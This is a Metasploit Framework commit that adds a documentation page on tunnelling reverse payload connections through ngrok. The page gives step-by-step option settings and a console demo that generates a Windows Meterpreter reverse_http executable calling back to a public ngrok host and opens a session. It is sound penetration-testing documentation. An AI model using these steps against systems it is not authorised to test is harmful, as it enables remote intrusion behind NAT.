Skip to content

Commit f16f1aa

Browse files
zeroSteinerzeroSteiner
committed
Finish the ngrok documentation
1 parent 4f8d91c commit f16f1aa

File tree

3 files changed

+118
-45
lines changed

3 files changed

+118
-45
lines changed

‎docs/metasploit-framework.wiki/How-to-use-Metasploit-with-Ngrok.md

Lines changed: 0 additions & 44 deletions
This file was deleted.

‎docs/metasploit-framework.wiki/How-to-use-Metasploit-with-ngrok.md

Lines changed: 117 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,117 @@
1+
# Overview
2+
[ngrok][1] is a popular service that offers free port-forwarding that is easy to setup without needing to run a
3+
dedicated server on a public IP address (as is the case with SSH, socat and other more traditional options. This means
4+
that users behind a SNATing device such as a SOHO router can accept reverse shells and other connections without needing
5+
to configure port forwarding.
6+
7+
**WARNING:** The nature of using ngrok is to send traffic through a third party. ngrok and the server which it utilizes
8+
are not affiliated with the Metasploit project. Use of ngrok effectively sends traffic through an untrusted third party
9+
and should be done with extreme caution. While Meterpreter has offered end-to-end encryption since Metasploit 6.0, other
10+
payloads and connections do not.
11+
12+
ngrok can start multiple types of tunnels. The `tcp` tunnel is compatible with Metasploit's payloads and most closely
13+
resembles a traditional port-forwarding configuration. The `http` tunnel type is not compatible with payloads, and
14+
should not be used. The `tls` tunnel type may be compatible, but access to it is restricted to the Enterprise and
15+
Pay-as-you-go paid plans. This document will focus on the use cases for the `tcp` tunnel type. Note that one limitation
16+
is that the public port can not be configured, it is randomly selected by ngrok meaning that the target will need to be
17+
able to connect to this high, obscure port which may be prevented by egress filtering.
18+
19+
## Usage with payloads
20+
Use with payloads can be achieved with any of the reverse-connection stagers that accept `LHOST` and `LPORT` options,
21+
e.g. reverse_tcp, reverse_http, reverse_https, etc. but not reverse_named_pipe. In the following scenario, ngrok will be
22+
used to forward a random public port to the Metasploit listener on port 4444. This scenario assumes that Metasploit and
23+
ngrok are running on the same host.
24+
25+
1. Start a TCP tunnel using ngrok: `ngrok tcp localhost:4444`.
26+
1. ngrok should start running and display a few settings, including a line that says "Forwarding". Note the host and IP
27+
address from this line, e.g. `4.tcp.ngrok.io:13779`
28+
1. Start msfconsole and use the desired payload or exploit module.
29+
* Using `msfconsole` for both generating the payload and handling the connection is recommended over using `msfvenom`
30+
for two reasons.
31+
1. Using `msfvenom` starts up an instance of the framework to generate the payload, making it a slower process.
32+
2. Using `msfconsole` to configure both the payload and handler simultaneously ensures that the options are set for
33+
both, eliminating the possibility that they are out of sync.
34+
1. Set the `LHOST` option to the address noted in step 2, `4.tcp.ngrok.io` in the example. This is where the payload is
35+
expecting to connect to.
36+
1. Set the `LPORT` option to the port noted in step 2, `13779` in the example.
37+
1. Set the `ReverseListenerBindAddress` option to `127.0.0.1`. This is where the connection will actually be accepted
38+
from ngrok.
39+
1. Set the `ReverseListenerBindPort` option to `4444`.
40+
1. Either run the exploit, or generate the payload with the `generate` command and start the handler with `to_handler`
41+
42+
Once the payload has been executed, either through the exploit or manual means, there should be a open connection seen
43+
through the ngrok terminal.
44+
45+
### Payload Demo
46+
47+
ngrok side:
48+
```
49+
$ ngrok tcp localhost:4444
50+
ngrok (Ctrl+C to quit)
51+
52+
Take our ngrok in production survey! https://forms.gle/aXiBFWzEA36DudFn6
53+
54+
Session Status online
55+
Account ????? (Plan: Personal)
56+
Version 3.16.0
57+
Region United States (us)
58+
Latency 33ms
59+
Web Interface http://127.0.0.1:4040
60+
Forwarding tcp://0.tcp.ngrok.io:17511 -> localhost:4444
61+
62+
Connections ttl opn rt1 rt5 p50 p90
63+
0 0 0.00 0.00 0.00 0.00
64+
```
65+
66+
metasploit side:
67+
```
68+
msf6 > use payload/windows/x64/meterpreter/reverse_http
69+
msf6 payload(windows/x64/meterpreter/reverse_http) > set LHOST 0.tcp.ngrok.io
70+
LHOST => 0.tcp.ngrok.io
71+
msf6 payload(windows/x64/meterpreter/reverse_http) > set LPORT 17511
72+
LPORT => 17511
73+
msf6 payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindAddress 127.0.0.1
74+
ReverseListenerBindAddress => 127.0.0.1
75+
msf6 payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindPort 4444
76+
ReverseListenerBindPort => 4444
77+
msf6 payload(windows/x64/meterpreter/reverse_http) > to_handler
78+
[*] Payload Handler Started as Job 2
79+
msf6 payload(windows/x64/meterpreter/reverse_http) >
80+
[*] Started HTTP reverse handler on http://127.0.0.1:4444
81+
82+
msf6 payload(windows/x64/meterpreter/reverse_http) > generate -f exe -o ngrok_payload.exe
83+
[*] Writing 7168 bytes to ngrok_payload.exe...
84+
msf6 payload(windows/x64/meterpreter/reverse_http) >
85+
[*] http://127.0.0.1:4444 handling request from 127.0.0.1; (UUID: ghzekibo) Staging x64 payload (202844 bytes) ...
86+
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:55468) at 2024-09-10 16:43:58 -0400
87+
88+
msf6 payload(windows/x64/meterpreter/reverse_http) > sessions -i -1
89+
[*] Starting interaction with 1...
90+
91+
meterpreter > getuid
92+
Server username: MSFLAB\smcintyre
93+
meterpreter >
94+
```
95+
96+
## Usage with server modules
97+
Some modules expect connections to be made to them by the target. These modules can also be used with ngrok, with some
98+
slight variations to the payload workflow in regards to their datastore options. Modules that start servers can be
99+
identified by using the `SRVHOST` and `SRVPORT` datastore options.
100+
101+
**NOTE:** Free ngrok plans can only open one tcp tunnel at a time. This means that if the module is an exploit that a
102+
tcp tunnel for a reverse-connection payload will not be able to be opened at the same time. Use a second ngrok account
103+
to open a second tcp tunnel and follow the steps above for the payload configuration.
104+
105+
1. Start a TCP tunnel using ngrok: `ngrok tcp localhost:4444`.
106+
1. ngrok should start running and display a few settings, including a line that says "Forwarding". Note the host and IP
107+
address from this line, e.g. `4.tcp.ngrok.io:13779`
108+
1. Start msfconsole and use the desired module.
109+
1. Set the `SRVHOST` option to the address noted in step 2, `4.tcp.ngrok.io` in the example. This is where the payload is
110+
expecting to connect to.
111+
1. Set the `SRVPORT` option to the port noted in step 2, `13779` in the example.
112+
1. Set the `ListenerBindAddress` option to `127.0.0.1`. This is where the connection will actually be accepted
113+
from ngrok.
114+
1. Set the `ListenerBindPort` option to `4444`.
115+
1. Run the module
116+
117+
[1]: https://ngrok.com/

‎docs/navigation.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -446,7 +446,7 @@ def without_prefix(prefix)
446446
path: 'How-to-use-the-Favorite-command.md'
447447
},
448448
{
449-
path: 'How-to-use-Metasploit-with-Ngrok.md'
449+
path: 'How-to-use-Metasploit-with-ngrok.md'
450450
},
451451
]
452452
},

0 commit comments

Comments
 (0)